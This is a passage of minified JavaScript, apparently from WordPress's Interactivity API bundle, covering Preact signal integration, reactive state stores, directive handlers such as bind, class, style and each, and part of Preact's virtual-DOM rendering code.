e,n=t.__$u.S(),r=o.value;n(),(0,a.zO)(r)||3!==(null==(e=t.base)?void 0:e.nodeType)?(t.__$f|=1,t.setState({})):t.base.data=r},q((function(){var e=r.value.value;return 0===e?0:!0===e?"":e||""}))}),[]);return o.value}function re(e,t,n,r){var o=t in e&&void 0===e.ownerSVGElement,i=z(n);return{o:function(e,t){i.value=e,r=t},d:Z((function(){var n=i.value.value;r[t]!==n&&(r[t]=n,o?e[t]=n:n?e.setAttribute(t,n):e.removeAttribute(t))}))}}R.prototype.brand=j,R.prototype.h=function(){return!0},R.prototype.S=function(e){this.t!==e&&void 0===e.e&&(e.x=this.t,void 0!==this.t&&(this.t.e=e),this.t=e)},R.prototype.U=function(e){if(void 0!==this.t){var t=e.e,n=e.x;void 0!==t&&(t.x=n,e.e=void 0),void 0!==n&&(n.e=t,e.x=void 0),e===this.t&&(this.t=n)}},R.prototype.subscribe=function(e){var t=this;return Z((function(){var n=t.value,r=H;H=void 0;try{e(n)}finally{H=r}}))},R.prototype.valueOf=function(){return this.value},R.prototype.toString=function(){return this.value+""},R.prototype.toJSON=function(){return this.value},R.prototype.peek=function(){var e=H;H=void 0;try{return this.value}finally{H=e}},Object.defineProperty(R.prototype,"value",{get:function(){var e=I(this);return void 0!==e&&(e.i=this.i),this.v},set:function(e){if(e!==this.v){if(D>100)throw new Error("Cycle detected");this.v=e,this.i++,L++,W++;try{for(var t=this.t;void 0!==t;t=t.x)t.t.N()}finally{M()}}}}),(K.prototype=new R).h=function(){if(this.f&=-3,1&this.f)return!1;if(32==(36&this.f))return!0;if(this.f&=-5,this.g===L)return!0;if(this.g=L,this.f|=1,this.i>0&&!V(this))return this.f&=-2,!0;var e=H;try{B(this),H=this;var t=this.x();(16&this.f||this.v!==t||0===this.i)&&(this.v=t,this.f&=-17,this.i++)}catch(e){this.v=e,this.f|=16,this.i++}return H=e,J(this),this.f&=-2,!0},K.prototype.S=function(e){if(void 0===this.t){this.f|=36;for(var t=this.s;void 0!==t;t=t.n)t.S.S(t)}R.prototype.S.call(this,e)},K.prototype.U=function(e){if(void 0!==this.t&&(R.prototype.U.call(this,e),void 0===this.t)){this.f&=-33;for(var t=this.s;void 0!==t;t=t.n)t.S.U(t)}},K.prototype.N=function(){if(!(2&this.f)){this.f|=6;for(var e=this.t;void 0!==e;e=e.x)e.t.N()}},Object.defineProperty(K.prototype,"value",{get:function(){if(1&this.f)throw new Error("Cycle detected");var e=I(this);if(this.h(),void 0!==e&&(e.i=this.i),16&this.f)throw this.v;return this.v}}),Q.prototype.c=function(){var e=this.S();try{if(8&this.f)return;if(void 0===this.x)return;var t=this.x();"function"==typeof t&&(this.u=t)}finally{e()}},Q.prototype.S=function(){if(1&this.f)throw new Error("Cycle detected");this.f|=1,this.f&=-9,Y(this),B(this),W++;var e=H;return H=this,G.bind(this,e)},Q.prototype.N=function(){2&this.f||(this.f|=2,this.o=A,A=this)},Q.prototype.d=function(){this.f|=8,1&this.f||X(this)},ne.displayName="_st",Object.defineProperties(R.prototype,{constructor:{configurable:!0,value:void 0},type:{configurable:!0,value:ne},props:{configurable:!0,get:function(){return{data:this}}},__b:{configurable:!0,value:1}}),ee("__b",(function(e,t){if("string"==typeof t.type){var n,r=t.props;for(var o in r)if("children"!==o){var i=r[o];i instanceof R&&(n||(t.__np=n={}),n[o]=i,r[o]=i.peek())}}e(t)})),ee("__r",(function(e,t){te();var n,r=t.__c;r&&(r.__$f&=-2,void 0===(n=r.__$u)&&(r.__$u=n=function(){var e;return Z((function(){e=this})),e.c=function(){r.__$f|=1,r.setState({})},e}())),te(n),e(t)})),ee("__e",(function(e,t,n,r){te(),e(t,n,r)})),ee("diffed",(function(e,t){var n;if(te(),"string"==typeof t.type&&(n=t.__e)){var r=t.__np,o=t.props;if(r){var i=n.U;if(i)for(var s in i){var a=i[s];void 0===a||s in r||(a.d(),i[s]=void 0)}else n.U=i={};for(var u in r){var c=i[u],l=r[u];void 0===c?(c=re(n,u,l,o),i[u]=c):c.o(l,o)}}}e(t)})),ee("unmount",(function(e,t){if("string"==typeof t.type){var n=t.__e;if(n){var r=n.U;if(r)for(var o in n.U=void 0,r){var i=r[o];i&&i.d()}}}else{var s=t.__c;if(s){var a=s.__$u;a&&(s.__$u=void 0,a.d())}}e(t)})),ee("__h",(function(e,t,n,r){(r<3||9===r)&&(t.__$f|=2),e(t,n,r)})),a.uA.prototype.shouldComponentUpdate=function(e,t){var n=this.__$u,r=n&&void 0!==n.s;for(var o in t)return!0;if(this.__f||"boolean"==typeof this.u&&!0===this.u){if(!(r||2&this.__$f||4&this.__$f))return!0;if(1&this.__$f)return!0}else{if(!(r||4&this.__$f))return!0;if(3&this.__$f)return!0}for(var i in e)if("__source"!==i&&e[i]!==this.props[i])return!0;for(var s in this.props)if(!(s in e))return!0;return!1};const oe=[],ie=()=>oe.slice(-1)[0],se=e=>{oe.push(e)},ae=()=>{oe.pop()},ue=[],ce=()=>ue.slice(-1)[0],le=e=>{ue.push(e)},fe=()=>{ue.pop()},_e=new WeakMap,pe=()=>{throw new Error("Please use `data-wp-bind` to modify the attributes of an element.")},he={get(e,t,n){const r=Reflect.get(e,t,n);return r&&"object"==typeof r?de(r):r},set:pe,deleteProperty:pe},de=e=>(_e.has(e)||_e.set(e,new Proxy(e,he)),_e.get(e)),ve=e=>ce().context[e||ie()],ye=()=>{const e=ce();const{ref:t,attributes:n}=e;return Object.freeze({ref:t.current,attributes:de(n)})},me=e=>ce().serverContext[e||ie()],ge=e=>new Promise((t=>{const n=()=>{clearTimeout(r),window.cancelAnimationFrame(o),setTimeout((()=>{e(),t()}))},r=setTimeout(n,100),o=window.requestAnimationFrame(n)})),we="function"==typeof window.scheduler?.yield?window.scheduler.yield.bind(window.scheduler):()=>new Promise((e=>{setTimeout(e,0)}));function be(e){g((()=>{let t=null,n=!1;return t=function(e,t){let n=()=>{};const r=Z((function(){return n=this.c.bind(this),this.x=e,this.c=t,e()}));return{flush:n,dispose:r}}(e,(async()=>{t&&!n&&(n=!0,await ge(t.flush),n=!1)})),t.dispose}),[])}function ke(e){const t=ce(),n=ie();let r;r="GeneratorFunction"===e?.constructor?.name?async(...r)=>{const o=e(...r);let i,s;for(;;){se(n),le(t);try{s=o.next(i)}finally{fe(),ae()}try{i=await s.value}catch(e){se(n),le(t),o.throw(e)}finally{fe(),ae()}if(s.done)break}return i}:(...r)=>{se(n),le(t);try{return e(...r)}finally{ae(),fe()}};if(e.sync){const e=r;return e.sync=!0,e}return r}function Se(e){be(ke(e))}function xe(e){g(ke(e),[])}function Ee(e,t){g(ke(e),t)}function Te(e,t){w(ke(e),t)}function Oe(e,t){return S(ke(e),t)}function Pe(e,t){return k(ke(e),t)}new Set;const Fe=e=>{0},Ce=e=>Boolean(e&&"object"==typeof e&&e.constructor===Object);function Ne(e){const t=e;return t.sync=!0,t}const je=new WeakMap,Me=new WeakMap,$e=new WeakMap,He=new Set([Object,Array]),Ue=(e,t,n)=>{if(!De(t))throw Error("This object cannot be proxified.");if(!je.has(t)){const r=new Proxy(t,n);je.set(t,r),Me.set(r,t),$e.set(r,e)}return je.get(t)},Ae=e=>je.get(e),We=e=>$e.get(e),De=e=>"object"==typeof e&&null!==e&&(!$e.has(e)&&He.has(e.constructor)),Le={};class Ie{constructor(e){this.owner=e,this.computedsByScope=new WeakMap}setValue(e){this.update({value:e})}setGetter(e){this.update({get:e})}getComputed(){const e=ce()||Le;if(this.valueSignal||this.getterSignal||this.update({}),!this.computedsByScope.has(e)){const t=()=>{const e=this.getterSignal?.value;return e?e.call(this.owner):this.valueSignal?.value};se(We(this.owner)),this.computedsByScope.set(e,q(ke(t))),ae()}return this.computedsByScope.get(e)}update({get:e,value:t}){this.valueSignal?t===this.valueSignal.peek()&&e===this.getterSignal.peek()||$((()=>{this.valueSignal.value=t,this.getterSignal.value=e})):(this.valueSignal=z(t),this.getterSignal=z(e))}}const Re=new Set(Object.getOwnPropertyNames(Symbol).map((e=>Symbol[e])).filter((e=>"symbol"==typeof e))),ze=new WeakMap,Ve=(e,t)=>ze.has(e)&&ze.get(e).has(t),Be=new WeakSet,Je=(e,t,n)=>{ze.has(e)||ze.set(e,new Map),t="number"==typeof t?`${t}`:t;const r=ze.get(e);if(!r.has(t)){const o=We(e),i=new Ie(e);if(r.set(t,i),n){const{get:t,value:r}=n;if(t)i.setGetter(t);else{const t=Be.has(e);i.setValue(De(r)?Xe(o,r,{readOnly:t}):r)}}}return r.get(t)},Ke=new WeakMap;let qe=!1;const Ye={get(e,t,n){if(qe||!e.hasOwnProperty(t)&&t in e||"symbol"==typeof t&&Re.has(t))return Reflect.get(e,t,n);const r=Object.getOwnPropertyDescriptor(e,t),o=Je(n,t,r).getComputed().value;if("function"==typeof o){const e=We(n);return(...t)=>{se(e);try{return o.call(n,...t)}finally{ae()}}}return o},set(e,t,n,r){if(Be.has(r))return!1;se(We(r));try{return Reflect.set(e,t,n,r)}finally{ae()}},defineProperty(e,t,n){if(Be.has(Ae(e)))return!1;const r=!(t in e),o=Reflect.defineProperty(e,t,n);if(o){const o=Ae(e),i=Je(o,t),{get:s,value:a}=n;if(s)i.setGetter(s);else{const e=We(o);i.setValue(De(a)?Xe(e,a):a)}if(r&&Ke.has(e)&&Ke.get(e).value++,Array.isArray(e)&&ze.get(o)?.has("length")){Je(o,"length").setValue(e.length)}}return o},deleteProperty(e,t){if(Be.has(Ae(e)))return!1;const n=Reflect.deleteProperty(e,t);if(n){Je(Ae(e),t).setValue(void 0),Ke.has(e)&&Ke.get(e).value++}return n},ownKeys:e=>(Ke.has(e)||Ke.set(e,z(0)),Ke._=Ke.get(e).value,Reflect.ownKeys(e))},Xe=(e,t,n)=>{const r=Ue(e,t,Ye);return n?.readOnly&&Be.add(r),r},Ge=(e,t,n=!0)=>{if(!Ce(e)||!Ce(t))return;let r=!1;for(const o in t){const i=!(o in e);r=r||i;const s=Object.getOwnPropertyDescriptor(t,o),a=Ae(e),u=!!a&&Ve(a,o)&&Je(a,o);if("function"==typeof s.get||"function"==typeof s.set)(n||i)&&(Object.defineProperty(e,o,{...s,configurable:!0,enumerable:!0}),s.get&&u&&u.setGetter(s.get));else if(Ce(t[o])){const r=Object.getOwnPropertyDescriptor(e,o)?.value;if(i||n&&!Ce(r)){if(e[o]={},u){const t=We(a);u.setValue(Xe(t,e[o]))}Ge(e[o],t[o],n)}else Ce(r)&&Ge(e[o],t[o],n)}else if((n||i)&&(Object.defineProperty(e,o,s),u)){const{value:e}=s,t=We(a);u.setValue(De(e)?Xe(t,e):e)}}r&&Ke.has(e)&&Ke.get(e).value++},Qe=(e,t,n=!0)=>$((()=>{return Ge((r=e,Me.get(r)||e),t,n);var r})),Ze=new WeakSet,et={get:(e,t,n)=>{const r=Reflect.get(e,t),o=We(n);if(void 0===r&&Ze.has(n)){const n={};return Reflect.set(e,t,n),tt(o,n,!1)}if("function"==typeof r){se(o);const e=ke(r);return ae(),e}return Ce(r)&&De(r)?tt(o,r,!1):r}},tt=(e,t,n=!0)=>{const r=Ue(e,t,et);return r&&n&&Ze.add(r),r},nt=new WeakMap,rt=new WeakMap,ot=new WeakSet,it=Reflect.getOwnPropertyDescriptor,st={get:(e,t)=>{const n=rt.get(e),r=e[t];return t in e?r:n[t]},set:(e,t,n)=>{const r=rt.get(e);return(t in e||!(t in r)?e:r)[t]=n,!0},ownKeys:e=>[...new Set([...Object.keys(rt.get(e)),...Object.keys(e)])],getOwnPropertyDescriptor:(e,t)=>it(e,t)||it(rt.get(e),t),has:(e,t)=>Reflect.has(e,t)||Reflect.has(rt.get(e),t)},at=(e,t={})=>{if(ot.has(e))throw Error("This object cannot be proxified.");if(rt.set(e,t),!nt.has(e)){const t=new Proxy(e,st);nt.set(e,t),ot.add(t)}return nt.get(e)},ut=new Map,ct=new Map,lt=new Map,ft=new Map,_t=new Map,pt=e=>ft.get(e||ie())||{},ht=e=>{const t=e||ie();return _t.has(t)||_t.set(t,Xe(t,{},{readOnly:!0})),_t.get(t)},dt="I acknowledge that using a private store means my plugin will inevitably break on the next store release.";function vt(e,{state:t={},...n}={},{lock:r=!1}={}){if(ut.has(e)){if(r===dt||lt.has(e)){const t=lt.get(e);if(!(r===dt||!0!==r&&r===t))throw t?Error("Cannot unlock a private store with an invalid lock code"):Error("Cannot lock a public store")}else lt.set(e,r);const o=ct.get(e);Qe(o,n),Qe(o.state,t)}else{r!==dt&<.set(e,r);const o={state:Xe(e,Ce(t)?t:{}),...n},i=tt(e,o);ct.set(e,o),ut.set(e,i)}return ut.get(e)}const yt=(e=document)=>{var t;const n=null!==(t=e.getElementById("wp-script-module-data-@wordpress/interactivity"))&&void 0!==t?t:e.getElementById("wp-interactivity-data");if(n?.textContent)try{return JSON.parse(n.textContent)}catch{}return{}},mt=e=>{Ce(e?.state)&&Object.entries(e.state).forEach((([e,t])=>{const n=vt(e,{},{lock:dt});Qe(n.state,t,!1),Qe(ht(e),t)})),Ce(e?.config)&&Object.entries(e.config).forEach((([e,t])=>{ft.set(e,t)}))},gt=yt();function wt(e){return null!==e.suffix}function bt(e){return null===e.suffix}mt(gt);const kt=(0,a.q6)({client:{},server:{}}),St={},xt={},Et=(e,t,{priority:n=10}={})=>{St[e]=t,xt[e]=n},Tt=({scope:e})=>(t,...n)=>{let{value:r,namespace:o}=t;if("string"!=typeof r)throw new Error("The `value` prop should be a string path");const i="!"===r[0]&&!!(r=r.slice(1));le(e);const s=((e,t)=>{if(!t)return void Fe();let n=ut.get(t);void 0===n&&(n=vt(t,{},{lock:dt}));const r={...n,context:ce().context[t]};try{return e.split(".").reduce(((e,t)=>e[t]),r)}catch(e){}})(r,o);if("function"==typeof s){if(i){Fe();const e=!s(...n);return fe(),e}return fe(),(...t)=>{le(e);const n=s(...t);return fe(),n}}const a=s;return fe(),i?!a:a},Ot=({directives:e,priorityLevels:[t,...n],element:r,originalProps:o,previousScope:i})=>{const s=b({}).current;s.evaluate=S(Tt({scope:s}),[]);const{client:u,server:c}=x(kt);s.context=u,s.serverContext=c,s.ref=i?.ref||b(null),r=(0,a.Ob)(r,{ref:s.ref}),s.attributes=r.props;const l=n.length>0?(0,a.h)(Ot,{directives:e,priorityLevels:n,element:r,originalProps:o,previousScope:s}):r,f={...o,children:l},_={directives:e,props:f,element:r,context:kt,evaluate:s.evaluate};le(s);for(const e of t){const t=St[e]?.(_);void 0!==t&&(f.children=t)}return fe(),f.children},Pt=a.fF.vnode;function Ft(e){return Ce(e)?Object.fromEntries(Object.entries(e).map((([e,t])=>[e,Ft(t)]))):Array.isArray(e)?e.map((e=>Ft(e))):e}function Ct(e){return new Proxy(e,{get(e,t,n){const r=e[t];switch(t){case"currentTarget":case"preventDefault":case"stopImmediatePropagation":case"stopPropagation":Fe()}return r instanceof Function?function(...t){return r.apply(this===n?e:this,t)}:r}})}a.fF.vnode=e=>{if(e.props.__directives){const t=e.props,n=t.__directives;n.key&&(e.key=n.key.find(bt).value),delete t.__directives;const r=(e=>{const t=Object.keys(e).reduce(((e,t)=>{if(St[t]){const n=xt[t];(e[n]=e[n]||[]).push(t)}return e}),{});return Object.entries(t).sort((([e],[t])=>parseInt(e)-parseInt(t))).map((([,e])=>e))})(n);r.length>0&&(e.props={directives:n,priorityLevels:r,originalProps:t,type:e.type,element:(0,a.h)(e.type,t),top:!0},e.type=Ot)}Pt&&Pt(e)};const Nt=/(?:([\u0080-\uFFFF\w-%@]+) *:? *([^{;]+?);|([^;}{]*?) *{)|(}\s*)/g,jt=/\/\*[^]*?\*\/| +/g,Mt=/\n+/g,$t=e=>({directives:t,evaluate:n})=>{t[`on-${e}`].filter(wt).forEach((t=>{const r=t.suffix.split("--",1)[0];xe((()=>{const o=e=>{const r=n(t);"function"==typeof r&&(r?.sync||(e=Ct(e)),r(e))},i="window"===e?window:document;return i.addEventListener(r,o),()=>i.removeEventListener(r,o)}))}))},Ht=e=>({directives:t,evaluate:n})=>{t[`on-async-${e}`].filter(wt).forEach((t=>{const r=t.suffix.split("--",1)[0];xe((()=>{const o=async e=>{await we();const r=n(t);"function"==typeof r&&r(e)},i="window"===e?window:document;return i.addEventListener(r,o,{passive:!0}),()=>i.removeEventListener(r,o)}))}))},Ut="wp",At=`data-${Ut}-ignore`,Wt=`data-${Ut}-interactive`,Dt=`data-${Ut}-`,Lt=[],It=new RegExp(`^data-${Ut}-([a-z0-9]+(?:-[a-z0-9]+)*)(?:--([a-z0-9_-]+))?$`,"i"),Rt=/^([\w_\/-]+)::(.+)$/,zt=new WeakSet;function Vt(e){const t=document.createTreeWalker(e,205);return function e(n){const{nodeType:r}=n;if(3===r)return[n.data];if(4===r){var o;const e=t.nextSibling();return n.replaceWith(new window.Text(null!==(o=n.nodeValue)&&void 0!==o?o:"")),[n.nodeValue,e]}if(8===r||7===r){const e=t.nextSibling();return n.remove(),[null,e]}const i=n,{attributes:s}=i,u=i.localName,c={},l=[],f=[];let _=!1,p=!1;for(let e=0;e<s.length;e++){const t=s[e].name,n=s[e].value;if(t[Dt.length]&&t.slice(0,Dt.length)===Dt)if(t===At)_=!0;else{var h,d;const e=Rt.exec(n),r=null!==(h=e?.[1])&&void 0!==h?h:null;let o=null!==(d=e?.[2])&&void 0!==d?d:n;try{const e=JSON.parse(o);v=e,o=Boolean(v&&"object"==typeof v&&v.constructor===Object)?e:o}catch{}if(t===Wt){p=!0;const e="string"==typeof o?o:"string"==typeof o?.namespace?o.namespace:null;Lt.push(e)}else f.push([t,r,o])}else if("ref"===t)continue;c[t]=n}var v;if(_&&!p)return[(0,a.h)(u,{...c,innerHTML:i.innerHTML,__directives:{ignore:!0}})];if(p&&zt.add(i),f.length&&(c.__directives=f.reduce(((e,[t,n,r])=>{const o=It.exec(t);if(null===o)return Fe(),e;const i=o[1]||"",s=o[2]||null;var a;return e[i]=e[i]||[],e[i].push({namespace:null!=n?n:null!==(a=Lt[Lt.length-1])&&void 0!==a?a:null,value:r,suffix:s}),e}),{})),"template"===u)c.content=[...i.content.childNodes].map((e=>Vt(e)));else{let n=t.firstChild();if(n){for(;n;){const[r,o]=e(n);r&&l.push(r),n=o||t.nextSibling()}t.parentNode()}}return p&&Lt.pop(),[(0,a.h)(u,c,l)]}(t.currentNode)}const Bt=new WeakMap,Jt=e=>{if(!e.parentElement)throw Error("The passed region should be an element with a parent.");return Bt.has(e)||Bt.set(e,((e,t)=>{const n=(t=[].concat(t))[t.length-1].nextSibling;function r(t,r){e.insertBefore(t,r||n)}return e.__k={nodeType:1,parentNode:e,firstChild:t[0],childNodes:t,insertBefore:r,appendChild:r,removeChild(t){e.removeChild(t)}}})(e.parentElement,e)),Bt.get(e)},Kt=new WeakMap,qt=e=>{if("I acknowledge that using private APIs means my theme or plugin will inevitably break in the next version of WordPress."===e)return{directivePrefix:Ut,getRegionRootFragment:Jt,initialVdom:Kt,toVdom:Vt,directive:Et,getNamespace:ie,h:a.h,cloneElement:a.Ob,render:a.XX,proxifyState:Xe,parseServerData:yt,populateServerData:mt,batch:$};throw new Error("Forbidden access.")};Et("context",(({directives:{context:e},props:{children:t},context:n})=>{const{Provider:r}=n,o=e.find(bt),{client:i,server:s}=x(n),u=o.namespace,c=b(Xe(u,{})),l=b(Xe(u,{},{readOnly:!0})),f=k((()=>{const e={client:{...i},server:{...s}};if(o){const{namespace:t,value:n}=o;Ce(n)||Fe(),Qe(c.current,Ft(n),!1),Qe(l.current,Ft(n)),e.client[t]=at(c.current,i[t]),e.server[t]=at(l.current,s[t])}return e}),[o,i,s]);return(0,a.h)(r,{value:f},t)}),{priority:5}),Et("watch",(({directives:{watch:e},evaluate:t})=>{e.forEach((e=>{Se((()=>{let n=t(e);return"function"==typeof n&&(n=n()),n}))}))})),Et("init",(({directives:{init:e},evaluate:t})=>{e.forEach((e=>{xe((()=>{let n=t(e);return"function"==typeof n&&(n=n()),n}))}))})),Et("on",(({directives:{on:e},element:t,evaluate:n})=>{const r=new Map;e.filter(wt).forEach((e=>{const t=e.suffix.split("--")[0];r.has(t)||r.set(t,new Set),r.get(t).add(e)})),r.forEach(((e,r)=>{const o=t.props[`on${r}`];t.props[`on${r}`]=t=>{e.forEach((e=>{o&&o(t);const r=n(e);"function"==typeof r&&(r?.sync||(t=Ct(t)),r(t))}))}}))})),Et("on-async",(({directives:{"on-async":e},element:t,evaluate:n})=>{const r=new Map;e.filter(wt).forEach((e=>{const t=e.suffix.split("--")[0];r.has(t)||r.set(t,new Set),r.get(t).add(e)})),r.forEach(((e,r)=>{const o=t.props[`on${r}`];t.props[`on${r}`]=t=>{o&&o(t),e.forEach((async e=>{await we();const r=n(e);"function"==typeof r&&r(t)}))}}))})),Et("on-window",$t("window")),Et("on-document",$t("document")),Et("on-async-window",Ht("window")),Et("on-async-document",Ht("document")),Et("class",(({directives:{class:e},element:t,evaluate:n})=>{e.filter(wt).forEach((e=>{const r=e.suffix;let o=n(e);"function"==typeof o&&(o=o());const i=t.props.class||"",s=new RegExp(`(^|\\s)${r}(\\s|$)`,"g");o?s.test(i)||(t.props.class=i?`${i} ${r}`:r):t.props.class=i.replace(s," ").trim(),xe((()=>{o?t.ref.current.classList.add(r):t.ref.current.classList.remove(r)}))}))})),Et("style",(({directives:{style:e},element:t,evaluate:n})=>{e.filter(wt).forEach((e=>{const r=e.suffix;let o=n(e);"function"==typeof o&&(o=o()),t.props.style=t.props.style||{},"string"==typeof t.props.style&&(t.props.style=(e=>{const t=[{}];let n,r;for(;n=Nt.exec(e.replace(jt,""));)n[4]?t.shift():n[3]?(r=n[3].replace(Mt," ").trim(),t.unshift(t[0][r]=t[0][r]||{})):t[0][n[1]]=n[2].replace(Mt," ").trim();return t[0]})(t.props.style)),o?t.props.style[r]=o:delete t.props.style[r],xe((()=>{o?t.ref.current.style[r]=o:t.ref.current.style.removeProperty(r)}))}))})),Et("bind",(({directives:{bind:e},element:t,evaluate:n})=>{e.filter(wt).forEach((e=>{const r=e.suffix;let o=n(e);"function"==typeof o&&(o=o()),t.props[r]=o,xe((()=>{const e=t.ref.current;if("style"!==r){if("width"!==r&&"height"!==r&&"href"!==r&&"list"!==r&&"form"!==r&&"tabIndex"!==r&&"download"!==r&&"rowSpan"!==r&&"colSpan"!==r&&"role"!==r&&r in e)try{return void(e[r]=null==o?"":o)}catch(e){}null==o||!1===o&&"-"!==r[4]?e.removeAttribute(r):e.setAttribute(r,o)}else"string"==typeof o&&(e.style.cssText=o)}))}))})),Et("ignore",(({element:{type:e,props:{innerHTML:t,...n}}})=>{const r=k((()=>t),[]);return(0,a.h)(e,{dangerouslySetInnerHTML:{__html:r},...n})})),Et("text",(({directives:{text:e},element:t,evaluate:n})=>{const r=e.find(bt);if(r)try{let e=n(r);"function"==typeof e&&(e=e()),t.props.children="object"==typeof e?null:e.toString()}catch(e){t.props.children=null}else t.props.children=null})),Et("run",(({directives:{run:e},evaluate:t})=>{e.forEach((e=>{let n=t(e);return"function"==typeof n&&(n=n()),n}))})),Et("each",(({directives:{each:e,"each-key":t},context:n,element:r,evaluate:o})=>{if("template"!==r.type)return;const{Provider:i}=n,s=x(n),[u]=e,{namespace:c}=u;let l=o(u);if("function"==typeof l&&(l=l()),"function"!=typeof l?.[Symbol.iterator])return;const f=wt(u)?u.suffix.replace(/^-+|-+$/g,"").toLowerCase().replace(/-([a-z])/g,(function(e,t){return t.toUpperCase()})):"item",_=[];for(const e of l){const n=at(Xe(c,{}),s.client[c]),o={client:{...s.client,[c]:n},server:{...s.server}};o.client[c][f]=e;const u={...ce(),context:o.client,serverContext:o.server},l=t?Tt({scope:u})(t[0]):e;_.push((0,a.h)(i,{value:o,key:l},r.props.content))}return _}),{priority:20}),Et("each-child",(()=>null),{priority:1}),(async()=>{const e=document.querySelectorAll(`[data-${Ut}-interactive]`);await new Promise((e=>{setTimeout(e,0)}));for(const t of e)if(!zt.has(t)){await we();const e=Jt(t),n=Vt(t);Kt.set(t,n),await we(),(0,a.Qv)(n,e)}})()},622:(e,t,n)=>{n.d(t,{FK:()=>x,Ob:()=>J,Qv:()=>B,XX:()=>V,fF:()=>o,h:()=>k,q6:()=>K,uA:()=>E,zO:()=>s});var r,o,i,s,a,u,c,l,f,_,p,h,d,v={},y=[],m=/acit|ex(?:s|g|n|p|$)|rph|grid|ows|mnc|ntw|ine[ch]|zoo|^ord|itera/i,g=Array.isArray;function w(e,t){for(var n in t)e[n]=t[n];return e}function b(e){e&&e.parentNode&&e.parentNode.removeChild(e)}function k(e,t,n){var o,i,s,a={};for(s in t)"key"==s?o=t[s]:"ref"==s?i=t[s]:a[s]=t[s];if(arguments.length>2&&(a.children=arguments.length>3?r.call(arguments,2):n),"function"==typeof e&&null!=e.defaultProps)for(s in e.defaultProps)void 0===a[s]&&(a[s]=e.defaultProps[s]);return S(e,a,o,i,null)}function S(e,t,n,r,s){var a={type:e,props:t,key:n,ref:r,__k:null,__:null,__b:0,__e:null,__c:null,constructor:void 0,__v:null==s?++i:s,__i:-1,__u:0};return null==s&&null!=o.vnode&&o.vnode(a),a}function x(e){return e.children}function E(e,t){this.props=e,this.context=t}function T(e,t){if(null==t)return e.__?T(e.__,e.__i+1):null;for(var n;t<e.__k.length;t++)if(null!=(n=e.__k[t])&&null!=n.__e)return n.__e;return"function"==typeof e.type?T(e):null}function O(e){var t,n;if(null!=(e=e.__)&&null!=e.__c){for(e.__e=e.__c.base=null,t=0;t<e.__k.length;t++)if(null!=(n=e.__k[t])&&null!=n.__e){e.__e=e.__c.base=n.__e;break}return O(e)}}function P(e){(!e.__d&&(e.__d=!0)&&a.push(e)&&!F.__r++||u!==o.debounceRendering)&&((u=o.debounceRendering)||c)(F)}function F(){for(var e,t,n,r,i,s,u,c=1;a.length;)a.length>c&&a.sort(l),e=a.shift(),c=a.length,e.__d&&(n=void 0,i=(r=(t=e).__v).__e,s=[],u=[],t.__P&&((n=w({},r)).__v=r.__v+1,o.vnode&&o.vnode(n),A(t.__P,n,r,t.__n,t.__P.namespaceURI,32&r.__u?[i]:null,s,null==i?T(r):i,!!(32&r.__u),u),n.__v=r.__v,n.__.__k[n.__i]=n,W(s,n,u),n.__e!=i&&O(n)));F.__r=0}function C(e,t,n,r,o,i,s,a,u,c,l){var f,_,p,h,d,m,g=r&&r.__k||y,w=t.length;for(u=N(n,t,g,u,w),f=0;f<w;f++)null!=(p=n.__k[f])&&(_=-1===p.__i?v:g[p.__i]||v,p.__i=f,m=A(e,p,_,o,i,s,a,u,c,l),h=p.__e,p.ref&&_.ref!=p.ref&&(_.ref&&I(_.ref,null,p),l.push(p.ref,p.__c||h,p)),null==d&&null!=h&&(d=h),4&p.__u||_.__k===p.__k?u=j(p,u,e):"function"==typeof p.type&&void 0!==m?u=m:h&&(u=h.nextSibling),p.__u&=-7);return n.__e=d,u}function N(e,t,n,r,o){var i,s,a,u,c,l=n.length,f=l,_=0;for(e.__k=new Array(o),i=0;i<o;i++)null!=(s=t[i])&&"boolean"!=typeof s&&"function"!=typeof s?(u=i+_,(s=e.__k[i]="string"==typeof s||"number"==typeof s||"bigint"==typeof s||s.constructor==String?S(null,s,null,null,null):g(s)?S(x,{children:s},null,null,null):void 0===s.constructor&&s.__b>0?S(s.type,s.props,s.key,s.ref?s.ref:null,s.__v):s).__=e,s.__b=e.__b+1,a=null,-1!==(c=s.__i=M(s,n,u,f))&&(f--,(a=n[c])&&(a.__u|=2)),null==a||null===a.__v?(-1==c&&(o>l?_--:o<l&&_++),"function"!=typeof s.type&&(s.__u|=4)):c!=u&&(c==u-1?_--:c==u+1?_++:(c>u?_--:_++,s.__u|=4))):e.__k[i]=null;if(f)for(i=0;i<l;i++)null!=(a=n[i])&&!(2&a.__u)&&(a.__e==r&&(r=T(a)),R(a,a));return r}function j(e,t,n){var r,o;if("function"==typeof e.type){for(r=e.__k,o=0;r&&o<r.length;o++)r[o]&&(r[o].__=e,t=j(r[o],t,n));return t}e.__e!=t&&(t&&e.type&&!n.contains(t)&&(t=T(e)),n.insertBefore(e.__e,t||null),t=e.__e);do{t=t&&t.nextSibling}while(null!=t&&8==t.nodeType);return t}function M(e,t,n,r){var o,i,s=e.key,a=e.type,u=t[n];if(null===u&&null==e.key||u&&s==u.key&&a===u.type&&!(2&u.__u))return n;if(r>(null==u||2&u.__u?0:1))for(o=n-1,i=n+1;o>=0||i<t.length;){if(o>=0){if((u=t[o])&&!(2&u.__u)&&s==u.key&&a===u.type)return o;o--}if(i<t.length){if((u=t[i])&&!(2&u.__u)&&s==u.key&&a===u.type)return i;i++}}return-1}function $(e,t,n){"-"==t[0]?e.setProperty(t,null==n?"":n):e[t]=null==n?"":"number"!=typeof n||m.test(t)?n:n+"px"}function H(e,t,n,r,o){var i;e:if("style"==t)if("string"==typeof n)e.style.cssText=n;else{if("string"==typeof r&&(e.style.cssText=r=""),r)for(t in r)n&&t in n||$(e.style,t,"");if(n)for(t in n)r&&n[t]===r[t]||$(e.style,t,n[t])}else if("o"==t[0]&&"n"==t[1])i=t!=(t=t.replace(f,"$1")),t=t.toLowerCase()in e||"onFocusOut"==t||"onFocusIn"==t?t.toLowerCase().slice(2):t.slice(2),e.l||(e.l={}),e.l[t+i]=n,n?r?n.t=r.t:(n.t=_,e.addEventListener(t,i?h:p,i)):e.removeEventListener(t,i?h:p,i);else{if("http://www.w3.org/2000/svg"==o)t=t.replace(/xlink(H|:h)/,"h").replace(/sName$/,"s");else if("width"!=t&&"height"!=t&&"href"!=t&&"list"!=t&&"form"!=t&&"tabIndex"!=t&&"download"!=t&&"rowSpan"!=t&&"colSpan"!=t&&"role"!=t&&"popover"!=t&&t in e)try{e[t]=null==n?"":n;break e}catch(e){}"function"==typeof 